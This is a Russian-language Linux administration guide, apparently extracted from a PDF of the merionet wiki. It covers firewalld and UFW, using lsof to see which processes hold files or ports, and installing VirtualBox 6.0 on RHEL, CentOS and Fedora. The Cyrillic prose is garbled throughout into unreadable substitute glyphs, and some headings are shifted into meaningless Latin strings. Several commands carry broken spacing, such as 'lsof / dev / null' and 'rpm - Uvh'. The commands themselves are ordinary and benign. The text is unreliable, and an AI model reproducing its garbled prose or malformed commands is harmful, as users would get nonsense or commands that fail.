ɺʳ ʤʦʞʝʪʝ ʫʟʥʘʪʴ, ʢʘʢ ʠʩʧʦʣʴʟʦʚʘʪʴ Iptables ʜʣʷ ʨʘʟʣʠʯʥʳʭ ʮʝʣʝʡ ʠʟ ʥʘʰʝʡ 

ʩʪʘʪʴʠ 

21. Firewalld 

https://wiki.merionet.ru/
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Firewalld - ʵʪʦ ʤʦʱʥʳʡ ʠ ʜʠʥʘʤʠʯʥʳʡ ʜʝʤʦʥ ʫʧʨʘʚʣʝʥʠʷ ʙʨʘʥʜʤʘʫʵʨʦʤ Linux 

(Netfilter), ʢʘʢ ʠ iptables. ʆʥ ʠʩʧʦʣʴʟʫʝʪ çʩʝʪʝʚʳʝ ʟʦʥʳè ʚʤʝʩʪʦ INPUT, OUTPUT ʠ 

FORWARD CHAINS ʚ iptables. ɺ ʩʦʚʨʝʤʝʥʥʳʭ ʜʠʩʪʨʠʙʫʪʠʚʘʭ Linux, ʪʘʢʠʭ ʢʘʢ 

RHEL, CentOS 7 ʠ Fedora 21+, iptables ʘʢʪʠʚʥʦ ʟʘʤʝʥʷʝʪʩʷ firewalld. 

ɺʘʞʥʦ: Iptables ʧʦ-ʧʨʝʞʥʝʤʫ ʧʦʜʜʝʨʞʠʚʘʝʪʩʷ ʠ ʤʦʞʝʪ ʙʳʪʴ ʫʩʪʘʥʦʚʣʝʥ ʩ 

ʧʦʤʦʱʴʶ ʤʝʥʝʜʞʝʨʘ ʧʘʢʝʪʦʚ YUM. ʆʜʥʘʢʦ ʚʳ ʥʝ ʤʦʞʝʪʝ ʠʩʧʦʣʴʟʦʚʘʪʴ Firewalld ʠ 

iptables ʦʜʥʦʚʨʝʤʝʥʥʦ ʥʘ ʦʜʥʦʤ ʩʝʨʚʝʨʝ - ʚʳ ʜʦʣʞʥʳ ʚʳʙʨʘʪʴ ʦʜʠʥ. 

22. UFW (Uncomplicated Firewall) 

UFW - ʵʪʦ ʰʠʨʦʢʦ ʠʟʚʝʩʪʥʳʡ ʠ ʠʩʧʦʣʴʟʫʝʤʳʡ ʧʦ ʫʤʦʣʯʘʥʠʶ ʠʥʩʪʨʫʤʝʥʪ 

ʥʘʩʪʨʦʡʢʠ ʙʨʘʥʜʤʘʫʵʨʘ ʚ ʜʠʩʪʨʠʙʫʪʠʚʘʭ Debian ʠ Ubuntu Linux. ʆʥ ʠʩʧʦʣʴʟʫʝʪʩʷ 

ʜʣʷ ʚʢʣʶʯʝʥʠʷ ʠ ʦʪʢʣʶʯʝʥʠʷ ʩʠʩʪʝʤʥʦʛʦ ʙʨʘʥʜʤʘʫʵʨʘ, ʜʦʙʘʚʣʝʥʠʷ, ʫʜʘʣʝʥʠʷ, 

ʠʟʤʝʥʝʥʠʷ, ʩʙʨʦʩʘ ʧʨʘʚʠʣ ʬʠʣʴʪʨʘʮʠʠ ʧʘʢʝʪʦʚ ʠ ʤʥʦʛʦʛʦ ʜʨʫʛʦʛʦ. 

ʏʪʦʙʳ ʧʨʦʚʝʨʠʪʴ ʩʦʩʪʦʷʥʠʝ ʙʨʘʥʜʤʘʫʵʨʘ UFW, ʚʚʝʜʠʪʝ: 

$ sudo ufw status  

ɽʩʣʠ ʙʨʘʥʜʤʘʫʵʨ UFW ʥʝ ʘʢʪʠʚʝʥ, ʚʳ ʤʦʞʝʪʝ ʘʢʪʠʚʠʨʦʚʘʪʴ ʠʣʠ ʚʢʣʶʯʠʪʴ ʝʛʦ ʩ 

ʧʦʤʦʱʴʶ ʩʣʝʜʫʶʱʝʡ ʢʦʤʘʥʜʳ. 

$ sudo ufw enable  

ʏʪʦʙʳ ʦʪʢʣʶʯʠʪʴ ʙʨʘʥʜʤʘʫʵʨ UFW, ʠʩʧʦʣʴʟʫʡʪʝ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ. 

$ sudo ufw disable  
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ʅʘ ʵʪʦʤ ʧʦʢʘ ʚʩʝ! ɺ ʵʪʦʤ ʨʫʢʦʚʦʜʩʪʚʝ ʤʳ ʨʘʩʩʤʦʪʨʝʣʠ ʥʝʢʦʪʦʨʳʝ ʠʟ ʥʘʠʙʦʣʝʝ 

ʯʘʩʪʦ ʠʩʧʦʣʴʟʫʝʤʳʭ ʠʥʩʪʨʫʤʝʥʪʦʚ ʠ ʫʪʠʣʠʪ ʢʦʤʘʥʜʥʦʡ ʩʪʨʦʢʠ ʜʣʷ ʫʧʨʘʚʣʝʥʠʷ 

ʩʝʪʴʶ ʚ Linux, ʚ ʨʘʟʥʳʭ ʢʘʪʝʛʦʨʠʷʭ, ʜʣʷ ʩʠʩʪʝʤʥʳʭ ʘʜʤʠʥʠʩʪʨʘʪʦʨʦʚ ʠ ʩʝʪʝʚʳʭ 

ʘʜʤʠʥʠʩʪʨʘʪʦʨʦʚ ʠ ʠʥʞʝʥʝʨʦʚ. 

ɺʳ ʤʦʞʝʪʝ ʧʦʜʝʣʠʪʴʩʷ ʩʚʦʠʤʠ ʤʳʩʣʷʤʠ ʦʙ ʵʪʦʤ ʨʫʢʦʚʦʜʩʪʚʝ ʩ ʧʦʤʦʱʴʶ 

ʢʦʤʤʝʥʪʘʨʠʝʚ. ɽʩʣʠ ʤʳ ʧʨʦʧʫʩʪʠʣʠ ʢʘʢʠʝ-ʣʠʙʦ ʯʘʩʪʦ ʠʩʧʦʣʴʟʫʝʤʳʝ ʠ ʚʘʞʥʳʝ 

ʩʝʪʝʚʳʝ ʠʥʩʪʨʫʤʝʥʪʳ ʠ ʫʪʠʣʠʪʳ Linux ʠʣʠ ʣʶʙʫʶ ʧʦʣʝʟʥʫʶ ʩʚʷʟʘʥʥʫʶ 

ʠʥʬʦʨʤʘʮʠʶ, ʪʘʢʞʝ ʩʦʦʙʱʠʪʝ ʥʘʤ ʦʙ ʵʪʦʤ. 

ǵțȎȕȖ ȏȕȈȚȤ: țȚȐȓȐȚȈ lsof Ȋ Linux 

ɺ ʵʪʦʡ ʩʪʘʪʴʝ ʤʳ ʦʙʲʷʩʥʠʤ, ʢʘʢ ʫʟʥʘʪʴ, ʢʪʦ ʠʩʧʦʣʴʟʫʝʪ ʪʦʪ ʠʣʠ ʠʥʦʡ ʬʘʡʣ ʚ Linux. 

ʕʪʦ ʧʦʤʦʞʝʪ ʚʘʤ ʫʟʥʘʪʴ ʩʠʩʪʝʤʥʦʛʦ ʧʦʣʴʟʦʚʘʪʝʣʷ ʠʣʠ ʧʨʦʮʝʩʩ, ʢʦʪʦʨʳʡ 

ʠʩʧʦʣʴʟʫʝʪ ʦʪʢʨʳʪʳʡ ʬʘʡʣ. 

 

ȺȿȺ ɋɡɅȿɊɔ. ȺɊɆ ȼɉɇɆɣɔɡɋɂɊ Ɍȿɢɣ Ɂ NKPVYA 

ʄʳ ʤʦʞʝʤ ʠʩʧʦʣʴʟʦʚʘʪʴ ʢʦʤʘʥʜʫ lsof (ʢʦʪʦʨʘʷ ʷʚʣʷʝʪʩʷ ʘʙʙʨʝʚʠʘʪʫʨʦʡ ʦʪ List Of 

Opened Files), ʯʪʦʙʳ ʫʟʥʘʪʴ, ʠʩʧʦʣʴʟʫʝʪ ʣʠ ʢʪʦ-ʪʦ ʬʘʡʣ, ʠ ʝʩʣʠ ʜʘ, ʪʦ ʢʪʦ. ʆʥ 

ʯʠʪʘʝʪ ʧʘʤʷʪʴ ʷʜʨʘ ʚ ʧʦʠʩʢʝ ʦʪʢʨʳʪʳʭ ʬʘʡʣʦʚ ʠ ʧʝʨʝʯʠʩʣʷʝʪ ʚʩʝ ʦʪʢʨʳʪʳʝ 

ʬʘʡʣʳ. ɺ ʵʪʦʤ ʩʣʫʯʘʝ ʦʪʢʨʳʪʳʡ ʬʘʡʣ ʤʦʞʝʪ ʙʳʪʴ ʦʙʳʯʥʳʤ ʬʘʡʣʦʤ, ʢʘʪʘʣʦʛʦʤ, 

ʩʧʝʮʠʘʣʴʥʳʤ ʬʘʡʣʦʤ ʙʣʦʢʘ, ʩʧʝʮʠʘʣʴʥʳʤ ʬʘʡʣʦʤ ʩʠʤʚʦʣʦʚ, ʧʦʪʦʢʦʤ, ʩʝʪʝʚʳʤ 

ʬʘʡʣʦʤ ʠ ʤʥʦʛʠʤʠ ʜʨʫʛʠʤʠ, ʧʦʩʢʦʣʴʢʫ ʚ Linux ʚʩʝ ʷʚʣʷʝʪʩʷ ʬʘʡʣʦʤ. 
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Lsof ʠʩʧʦʣʴʟʫʝʪʩʷ ʚ ʬʘʡʣʦʚʦʡ ʩʠʩʪʝʤʝ, ʯʪʦʙʳ ʦʧʨʝʜʝʣʠʪʴ, ʢʪʦ ʠʩʧʦʣʴʟʫʝʪ ʢʘʢʠʝ-

ʣʠʙʦ ʬʘʡʣʳ ʚ ʵʪʦʡ ʬʘʡʣʦʚʦʡ ʩʠʩʪʝʤʝ. ɺʳ ʤʦʞʝʪʝ ʟʘʧʫʩʪʠʪʴ ʢʦʤʘʥʜʫ lsof ʚ 

ʬʘʡʣʦʚʦʡ ʩʠʩʪʝʤʝ Linux, ʠ ʚʳʭʦʜʥʳʝ ʜʘʥʥʳʝ ʠʜʝʥʪʠʬʠʮʠʨʫʶʪ ʚʣʘʜʝʣʴʮʘ ʠ 

ʠʥʬʦʨʤʘʮʠʶ ʦ ʧʨʦʮʝʩʩʘʭ ʜʣʷ ʧʨʦʮʝʩʩʦʚ, ʠʩʧʦʣʴʟʫʶʱʠʭ ʬʘʡʣ, ʢʘʢ ʧʦʢʘʟʘʥʦ ʚ 

ʩʣʝʜʫʶʱʠʭ ʚʳʭʦʜʥʳʭ ʜʘʥʥʳʭ. 

$ lsof / dev / null  

ʉʧʠʩʦʢ ʚʩʝʭ ʦʪʢʨʳʪʳʭ ʬʘʡʣʦʚ ʚ Linux 

COMMAND    PID    USER   FD   TY PE DEVICE SIZE / OFF NODE NAME 

systemd   1480  merionet    0r    CHR    1, 3      0t0     6 / dev / null  

sh        1501  merionet    0r    CHR    1, 3      0t0     6 / dev / null  

sh        1501  merionet    1w   CHR    1, 3      0t0     6 / dev / null  

dbus - daem 1530  merionet    0u   CHR    1, 3      0t0     6 / dev / null  

xfce4 - ses 1603  merionet    0r    CHR    1, 3      0t0     6 / dev / null  

xfce4 - ses 1603  merionet    1w   CHR    1, 3      0t0     6 / dev / null  

at - spi - bu 1604  merionet    0r    CHR    1, 3      0t0     6 / dev / null  

dbus - daem 1609  merionet    0u   CHR    1, 3      0t0     6 / dev / null  

at - spi2 - r 1611  merionet    0u   CHR    1, 3      0t0     6 / dev / null  
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xfconfd   1615  merionet    0u   CHR    1, 3      0t0     6 / dev / null  

xfwm4     1624  merionet    0r    CHR    1, 3      0t0     6 / dev / null  

xfwm4     1624  merionet    1w   CHR    1, 3      0t0     6 / dev / null  

xfce4 - pan 1628  merionet    0r    CHR    1, 3      0t0     6 / dev / null  

xfce4 - pan 1628  merionet    1w   CHR    1, 3      0t0     6 / dev / null  

Thunar     1630  merionet    0r    CHR    1, 3      0t0     6 / dev / null  

Thunar     1630  merionet    1w   CHR    1, 3      0t0     6 / dev / null  

xfdesktop 1632  merionet    0r    CHR    1, 3      0t0     6 / dev / null  

xfdesktop 1632  merionet    1w   CHR    1, 3      0t0     6 / dev / null  

....  

ʏʪʦʙʳ ʚʳʚʝʩʪʠ ʩʧʠʩʦʢ ʬʘʡʣʦʚ, ʦʪʢʨʳʪʳʭ ʜʣʷ ʢʦʥʢʨʝʪʥʦʛʦ ʧʦʣʴʟʦʚʘʪʝʣʷ, 

ʚʳʧʦʣʥʠʪʝ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ: ʟʘʤʝʥʠʪʝ merionet ʚʘʰʠʤ ʠʤʝʥʝʤ ʧʦʣʴʟʦʚʘʪʝʣʷ. 

$ lsof - u merionet  

ʉʧʠʩʦʢ ʬʘʡʣʦʚ, ʦʪʢʨʳʪʳʭ ʧʦʣʴʟʦʚʘʪʝʣʝʤ: 

COMMAND    PID    USER   FD      TYPE             DEVICE  SIZE / OFF       NODE 

NAME 
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systemd   1480  merionet  cwd       DIR                8, 3      4096           

2 /  

systemd   1480  merionet  rtd       DIR                8, 3      4096           

2 /  

systemd   1480  merionet  txt       REG                8, 3   1595792     

3147496  / lib / systemd / systemd  

systemd   1480  merionet  mem       REG                8, 3   1700792     

3150525  / lib / x86_64 - linux - gnu / libm - 2.27 . so  

systemd   1480  merionet  mem       REG                8, 3    121016     

3146329  / lib / x86_64 - linux - gnu / libudev . so . 1.6 . 9 

systemd   1480  merionet  mem       REG                8, 3     84032     

3150503  / lib / x86_64 - linux - gnu / libgpg - error . so . 0.22 . 0 

systemd   1480  merionet  mem       REG                8, 3     43304     

3150514  / lib / x86_64 - linux - gnu / libjson - c. so . 3.0 . 1 

systemd   1480  merionet  mem       REG                8, 3     34872     

2497970  / usr / lib / x86_64 - linux - gnu / libargon2 . so . 0 

systemd   1480  merionet  mem       REG                8, 3    432640     

3150484  / lib / x86_64 - linux - gnu / libdevmapper . so . 1.02 . 1 

systemd   1480  merionet  mem       REG                8, 3     18680     

3150450  / lib / x86_64 - linux - gnu / libattr . so . 1.1 . 0 

systemd   1480  merionet  mem       REG                8, 3     18712     

3150465  / lib / x86_64 - linux - gnu / libcap - ng. so . 0.0 . 0 
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systemd   1480  merionet  mem       REG                8, 3     27112     

3150489  / lib / x86_64 - linux - gnu / libuuid . so . 1.3 . 0 

systemd   1480  merionet  mem       REG                8, 3     14560     

3150485  / lib / x86_64 - linux - gnu / libdl - 2.27 . so  

...  

ɽʱʝ ʦʜʥʦ ʚʘʞʥʦʝ ʠʩʧʦʣʴʟʦʚʘʥʠʝ lsof - ʚʳʷʩʥʝʥʠʝ ʧʨʦʮʝʩʩʘ ʧʨʦʩʣʫʰʠʚʘʥʠʷ 

ʦʧʨʝʜʝʣʝʥʥʦʛʦ ʧʦʨʪʘ. ʅʘʧʨʠʤʝʨ, ʦʧʨʝʜʝʣʠʪʝ ʧʨʦʮʝʩʩ, ʧʨʦʩʣʫʰʠʚʘʶʱʠʡ ʧʦʨʪ 80, 

ʩ ʧʦʤʦʱʴʶ ʩʣʝʜʫʶʱʝʡ ʢʦʤʘʥʜʳ. 

$ sudo lsof - i TCP : 80 

ʇʨʦʮʝʩʩʳ, ʧʨʦʩʣʫʰʠʚʘʶʱʠʝ ʧʦʨʪ: 

COMMAND  PID   USER   FD   TYPE DEVICE SIZE / OFF NODE NAME 

httpd    903    root    4u  IPv6   20222       0t0   TCP *: http ( LISTEN)  

httpd   1320  apache    4u  IPv6   20222       0t0   TCP *: http ( LISTEN)  

httpd   1481  apache    4u  IPv6   20222       0t0   TCP *: http ( LISTEN)  

httpd   1482  apache    4u  IPv6   20222       0t0   TCP *: http ( LISTEN)  

httpd   1493  apache    4u  IPv6   20222       0t0   TCP *: http ( LISTEN)  

httpd   1763  apache    4u  IPv6   20222       0t0   TCP *: http ( LISTEN)  

httpd   2027  apache    4u  IPv6   20222       0t0   TCP *: http ( LISTEN)  
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httpd   2029  apache    4u  IPv6   20222       0t0   TCP *: http ( LISTEN)  

httpd   2044  apache    4u  IPv6   20222       0t0   TCP *: http ( LISTEN)  

httpd   3199  apache    4u  IPv6   20222       0t0   TCP *: http ( LISTEN)  

httpd   3201  apache    4u  IPv6   20222       0t0   TCP *: http ( LISTEN)  

ʇʨʠʤʝʯʘʥʠʝ: ʧʦʩʢʦʣʴʢʫ lsof ʯʠʪʘʝʪ ʧʘʤʷʪʴ ʷʜʨʘ ʧʨʠ ʧʦʠʩʢʝ ʦʪʢʨʳʪʳʭ ʬʘʡʣʦʚ, 

ʙʳʩʪʨʳʝ ʠʟʤʝʥʝʥʠʷ ʚ ʧʘʤʷʪʠ ʷʜʨʘ ʤʦʛʫʪ ʧʨʠʚʝʩʪʠ ʢ ʥʝʧʨʝʜʩʢʘʟʫʝʤʳʤ 

ʨʝʟʫʣʴʪʘʪʘʤ. ʕʪʦ ʦʜʠʥ ʠʟ ʦʩʥʦʚʥʳʭ ʥʝʜʦʩʪʘʪʢʦʚ ʠʩʧʦʣʴʟʦʚʘʥʠʷ ʢʦʤʘʥʜʳ lsof. 

ɼʣʷ ʧʦʣʫʯʝʥʠʷ ʜʦʧʦʣʥʠʪʝʣʴʥʦʡ ʠʥʬʦʨʤʘʮʠʠ, ʩʤʦʪʨʠʪʝ ʩʧʨʘʚʢʫ lsof: 

$ man lsof  

ʅʘ ʵʪʦʤ ʚʩʝ! ɺ ʵʪʦʡ ʩʪʘʪʴʝ ʤʳ ʦʙʲʷʩʥʠʣʠ, ʢʘʢ ʫʟʥʘʪʴ, ʢʪʦ ʠʩʧʦʣʴʟʫʝʪ ʪʦʪ ʠʣʠ ʠʥʦʡ 

ʬʘʡʣ ʚ Linux. 

ǻșȚȈȕȖȊȒȈ VirtualBox 6.0 ȕȈ Linux 

VirtualBox - ʵʪʦ ʢʨʦʩʩʧʣʘʪʬʦʨʤʝʥʥʦʝ ʧʨʦʛʨʘʤʤʥʦʝ ʦʙʝʩʧʝʯʝʥʠʝ ʜʣʷ 

ʚʠʨʪʫʘʣʠʟʘʮʠʠ ʩ ʦʪʢʨʳʪʳʤ ʠʩʭʦʜʥʳʤ ʢʦʜʦʤ, ʢʦʪʦʨʦʝ ʤʦʞʝʪ ʙʳʪʴ ʫʩʪʘʥʦʚʣʝʥʦ ʚ 

ʣʶʙʦʡ ʦʧʝʨʘʮʠʦʥʥʦʡ ʩʠʩʪʝʤʝ ʠ ʧʦʟʚʦʣʷʝʪ ʫʩʪʘʥʘʚʣʠʚʘʪʴ ʠ ʟʘʧʫʩʢʘʪʴ ʥʝʩʢʦʣʴʢʦ 

ʛʦʩʪʝʚʳʭ ʦʧʝʨʘʮʠʦʥʥʳʭ ʩʠʩʪʝʤ ʥʘ ʦʜʥʦʤ ʢʦʤʧʴʶʪʝʨʝ. 

ʅʘʧʨʠʤʝʨ, ʝʩʣʠ ʚʳ ʫʩʪʘʥʦʚʠʪʝ ʝʛʦ ʚ ʩʚʦʝʡ ʩʠʩʪʝʤʝ Linux, ʚʳ ʤʦʞʝʪʝ ʟʘʧʫʩʪʠʪʴ 

ʦʧʝʨʘʮʠʦʥʥʫʶ ʩʠʩʪʝʤʫ Windows XP ʚ ʢʘʯʝʩʪʚʝ ʛʦʩʪʝʚʦʡ ʆʉ ʠʣʠ ʟʘʧʫʩʪʠʪʴ ʆʉ 

Linux ʚ ʚʘʰʝʡ ʩʠʩʪʝʤʝ Windows ʠ ʪʘʢ ʜʘʣʝʝ. ʊʘʢʠʤ ʦʙʨʘʟʦʤ, ʚʳ ʤʦʞʝʪʝ 
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ʫʩʪʘʥʦʚʠʪʴ ʠ ʟʘʧʫʩʪʠʪʴ ʩʪʦʣʴʢʦ ʛʦʩʪʝʚʳʭ ʦʧʝʨʘʮʠʦʥʥʳʭ ʩʠʩʪʝʤ, ʩʢʦʣʴʢʦ ʚʘʤ 

ʥʫʞʥʦ, ʝʜʠʥʩʪʚʝʥʥʳʤ ʦʛʨʘʥʠʯʝʥʠʝʤ ʷʚʣʷʝʪʩʷ ʜʠʩʢʦʚʦʝ ʧʨʦʩʪʨʘʥʩʪʚʦ ʠ ʧʘʤʷʪʴ. 

ʅʝʜʘʚʥʦ Oracle ʚʳʧʫʩʪʠʣʘ ʧʦʩʣʝʜʥʶʶ ʩʪʘʙʠʣʴʥʫʶ ʚʝʨʩʠʶ Virtualbox 6.0.0,ʠ 

ʥʦʚʝʡʰʘʷ ʚʝʨʩʠʷ Virtual Box ʚʢʣʶʯʘʝʪ ʚ ʩʝʙʷ ʤʥʦʛʦ ʟʥʘʯʠʪʝʣʴʥʳʭ ʠʟʤʝʥʝʥʠʡ ʠ 

ʥʦʚʳʝ ʬʫʥʢʮʠʠ. 

 

 

ɏɊɆ ɅɆɁɆɝɆ Ɂ WKTUVCNDQY 802 

ǒ ɼʦʙʘʚʣʝʥʘ ʧʦʜʜʝʨʞʢʘ ʵʢʩʧʦʨʪʘ ʚʠʨʪʫʘʣʴʥʦʡ ʤʘʰʠʥʳ ʚ Oracle Cloud 

Infrastructure; 

ǒ ɿʥʘʯʠʪʝʣʴʥʦ ʫʣʫʯʰʝʥʘ ʧʦʜʜʝʨʞʢʘ HiDPI ʠ ʤʘʩʰʪʘʙʠʨʦʚʘʥʠʷ, ʘ ʪʘʢʞʝ 

ʫʣʫʯʰʝʥʥʦʝ ʦʙʥʘʨʫʞʝʥʠʝ ʠ ʢʦʥʬʠʛʫʨʘʮʠʷ ʜʣʷ ʢʘʞʜʦʡ ʤʘʰʠʥʳ; 

ǒ ɹʦʣʴʰʘʷ ʜʦʨʘʙʦʪʢʘ ʧʦʣʴʟʦʚʘʪʝʣʴʩʢʦʛʦ ʠʥʪʝʨʬʝʡʩʘ ʩ ʣʝʛʢʦʡ ʠ ʧʨʦʩʪʦʡ 

ʥʘʩʪʨʦʡʢʦʡ ʚʠʨʪʫʘʣʴʥʳʭ ʤʘʰʠʥ; 

ǒ ʅʦʚʳʡ ʬʘʡʣʦʚʳʡ ʤʝʥʝʜʞʝʨ ʧʦʟʚʦʣʷʝʪ ʧʦʣʴʟʦʚʘʪʝʣʶ ʫʧʨʘʚʣʷʪʴ ʛʦʩʪʝʚʦʡ 

ʬʘʡʣʦʚʦʡ ʩʠʩʪʝʤʦʡ ʠ ʢʦʧʠʨʦʚʘʪʴ ʬʘʡʣʳ ʤʝʞʜʫ ʭʦʩʪʦʤ ʠ ʛʦʩʪʝʤ; 

ǒ ʆʩʥʦʚʥʦʝ ʦʙʥʦʚʣʝʥʠʝ ʵʤʫʣʷʮʠʠ ʫʩʪʨʦʡʩʪʚ ʩ ʪʨʝʭʤʝʨʥʦʡ ʛʨʘʬʠʢʦʡ ʜʣʷ 

ʛʦʩʪʝʡ Linux; 

https://wiki.merionet.ru/
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ǒ ʋʪʠʣʠʪʘ vboximg-mount ʜʣʷ ʭʦʩʪʦʚ ʧʦʟʚʦʣʷʝʪ ʧʦʣʴʟʦʚʘʪʝʣʷʤ ʧʦʣʫʯʘʪʴ 

ʜʦʩʪʫʧ ʢ ʩʦʜʝʨʞʠʤʦʤʫ ʛʦʩʪʝʚʳʭ ʜʠʩʢʦʚ ʥʘ ʭʦʩʪʝ; 

ǒ ɼʦʙʘʚʣʝʥʘ ʧʦʜʜʝʨʞʢʘ ʠʩʧʦʣʴʟʦʚʘʥʠʷ Hyper-V ʥʘ ʭʦʩʪʝ Windows; 

ɺʳ ʤʦʞʝʪʝ ʧʦʩʤʦʪʨʝʪʴ ʧʦʜʨʦʙʥʦʩʪʠ ʦ VirtualBox 6.0 ʥʘ ʠʭ ʦʬʠʮʠʘʣʴʥʦʡ ʩʪʨʘʥʠʮʝ 

ʞʫʨʥʘʣʘ ʠʟʤʝʥʝʥʠʡ. 

ɺ ʵʪʦʤ ʨʫʢʦʚʦʜʩʪʚʝ ʦʙʲʷʩʥʷʝʪʩʷ, ʢʘʢ ʫʩʪʘʥʦʚʠʪʴ VirtualBox 6.0 ʚ ʩʠʩʪʝʤʘʭ RHEL, 

CentOS ʠ Fedora, ʠʩʧʦʣʴʟʫʷ ʩʦʙʩʪʚʝʥʥʳʡ ʨʝʧʦʟʠʪʦʨʠʡ VirtualBox ʩ ʠʥʩʪʨʫʤʝʥʪʘʤʠ 

YUM ʠ DNF (ʜʣʷ ʚʳʧʫʩʢʦʚ Fedora 22+). 

ʊʘʢʞʝ ʚ ʵʪʦʤ ʨʫʢʦʚʦʜʩʪʚʝ ʦʙʲʷʩʥʷʝʪʩʷ, ʢʘʢ ʫʩʪʘʥʦʚʠʪʴ VirtualBox 6.0 ʚ ʩʠʩʪʝʤʘʭ 

Debian, Ubuntu ʠ Linux Mint, ʠʩʧʦʣʴʟʫʷ ʩʦʙʩʪʚʝʥʥʳʡ ʨʝʧʦʟʠʪʦʨʠʡ VirtualBox ʩ 

ʧʦʤʦʱʴʶ ʢʦʤʘʥʜʳ APT-GET ʠʣʠ APT. 

ʇʦʝʭʘʣʠ! 

 

ɋɉɊȿɅɆɁȺȿ WKTUVCNDQY 802 Ɂ TGF JCU GPUGTRTK%G NKPVY. EGPUQ% ȼ FEDORA 

ɽʩʣʠ ʫ ʚʘʩ ʫʩʪʘʥʦʚʣʝʥʘ ʙʦʣʝʝ ʨʘʥʥʷʷ ʚʝʨʩʠʷ Virtualbox, ʫʜʘʣʠʪʝ ʝʝ ʧʝʨʝʜ 

ʫʩʪʘʥʦʚʢʦʡ ʧʦʩʣʝʜʥʝʡ ʚʝʨʩʠʠ. 

# yum remove VirtualBox*  

# dnf remove VirtualBox*  [On Fedora 22+]  

ɼʦʙʘʚʣʝʥʠʝ VirtualBox Repository 
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ɿʘʪʝʤ ʜʦʙʘʚʴʪʝ ʩʦʙʩʪʚʝʥʥʳʡ ʨʝʧʦʟʠʪʦʨʠʡ VirtualBox ʜʣʷ ʫʩʪʘʥʦʚʢʠ ʧʦʩʣʝʜʥʝʡ 

ʚʝʨʩʠʠ VirtualBox 6.0 ʚ ʩʣʝʜʫʶʱʠʭ ʩʠʩʪʝʤʘʭ. 

ɼʣʷ RHEL/CentOS 7/6 

# cd /etc/yum.repos.d/  

# wget  http://download.virtualbox.org/virtualbox/rpm/rhel/virtualbox.repo  

ɼʣʷ RHEL/CentOS 5 

# wget  http://dl.fedoraproject.org/pub/epel/5/i386/epel - release - 5-

4.noarch.rpm  

# rpm - Uvh epel - release - 5- 4.noarch.rpm  

ɼʣʷ For Fedora 24-29 

# cd /etc/yum.repos.d/  

# wget  http://download.virtualbox.org/virtualbox/rpm/fedora/virtualbox.repo  

ʋʩʪʘʥʦʚʢʘ ʧʘʢʝʪʳ ʟʘʚʠʩʠʤʦʩʪʝʡ ʜʣʷ VirtualBox 

VirtualBox ʠʩʧʦʣʴʟʫʝʪ ʤʦʜʫʣʴ ʷʜʨʘ vboxdrv ʜʣʷ ʫʧʨʘʚʣʝʥʠʷ ʠ ʚʳʜʝʣʝʥʠʷ 

ʬʠʟʠʯʝʩʢʦʡ ʧʘʤʷʪʠ ʜʣʷ ʛʦʩʪʝʚʳʭ ʦʧʝʨʘʮʠʦʥʥʳʭ ʩʠʩʪʝʤ. ɹʝʟ ʵʪʦʛʦ ʤʦʜʫʣʷ ʚʳ ʚʩʝ 

ʝʱʝ ʤʦʞʝʪʝ ʠʩʧʦʣʴʟʦʚʘʪʴ VirtualBox ʜʣʷ ʩʦʟʜʘʥʠʷ ʠ ʥʘʩʪʨʦʡʢʠ ʚʠʨʪʫʘʣʴʥʳʭ 

ʤʘʰʠʥ, ʥʦ ʦʥʠ ʥʝ ʙʫʜʫʪ ʨʘʙʦʪʘʪʴ. 

https://wiki.merionet.ru/
http://download.virtualbox.org/virtualbox/rpm/rhel/virtualbox.repo
http://download.virtualbox.org/virtualbox/rpm/rhel/virtualbox.repo
http://dl.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm
http://dl.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm
http://dl.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm
http://download.virtualbox.org/virtualbox/rpm/fedora/virtualbox.repo
http://download.virtualbox.org/virtualbox/rpm/fedora/virtualbox.repo
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ʀʪʘʢ, ʯʪʦʙʳ ʩʜʝʣʘʪʴ VirtualBox ʧʦʣʥʦʩʪʴʶ ʬʫʥʢʮʠʦʥʘʣʴʥʳʤ, ʚʘʤ ʥʫʞʥʦ ʩʥʘʯʘʣʘ 

ʦʙʥʦʚʠʪʴ ʚʘʰʫ ʩʠʩʪʝʤʫ, ʘ ʟʘʪʝʤ ʫʩʪʘʥʦʚʠʪʴ ʥʝʢʦʪʦʨʳʝ ʜʦʧʦʣʥʠʪʝʣʴʥʳʝ ʤʦʜʫʣʠ, 

ʪʘʢʠʝ ʢʘʢ DKMS, kernel-headers ʠ kernel-devel, ʘ ʪʘʢʞʝ ʥʝʢʦʪʦʨʳʝ ʧʘʢʝʪʳ 

ʟʘʚʠʩʠʤʦʩʪʝʡ. 

# yum update  

# yum install binutils qt gcc make patch libgomp glibc - headers glibc - devel 

kernel - headers kernel - devel dkms  

ʋʩʪʘʥʦʚʢʘ VirtualBox 6.0 

ʇʦʩʣʝ ʪʦʛʦ, ʢʘʢ ʚʳ ʫʩʪʘʥʦʚʠʣʠ ʚʩʝ ʥʝʦʙʭʦʜʠʤʳʝ ʧʘʢʝʪʳ ʟʘʚʠʩʠʤʦʩʪʝʡ, ʚʳ ʤʦʞʝʪʝ 

ʫʩʪʘʥʦʚʠʪʴ ʧʦʩʣʝʜʥʶʶ ʚʝʨʩʠʶ VirtualBox, ʠʩʧʦʣʴʟʫʷ ʩʣʝʜʫʶʱʫʶ ʢʦʤʘʥʜʫ. 

# yum install VirtualBox - 6.0  

ʇʝʨʝʩʪʨʦʡʪʝ ʤʦʜʫʣʠ ʷʜʨʘ ʜʣʷ VirtualBox 6.0 

ʇʨʠʚʝʜʝʥʥʘʷ ʥʠʞʝ ʢʦʤʘʥʜʘ ʘʚʪʦʤʘʪʠʯʝʩʢʠ ʩʦʟʜʘʩʪ ʛʨʫʧʧʫ ʠ ʧʦʣʴʟʦʚʘʪʝʣʷ 

vboxusers, ʘ ʪʘʢʞʝ ʥʘʡʜʝʪ ʠ ʘʚʪʦʤʘʪʠʯʝʩʢʠ ʧʝʨʝʩʪʨʦʠʪ ʥʝʦʙʭʦʜʠʤʳʝ ʤʦʜʫʣʠ 

ʷʜʨʘ. 

ɼʣʷ Fedora 22+ ʠ CentOS/RHEL 7 

/usr/ lib / virtualbox / vboxdrv . sh setup  

ɼʣʷ Fedora 18-16 ʠ CentOS/RHEL 6/5 

/etc/ init . d/ vboxdrv setup  

https://wiki.merionet.ru/
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ʀʣʠ 

service vboxdrv setup  

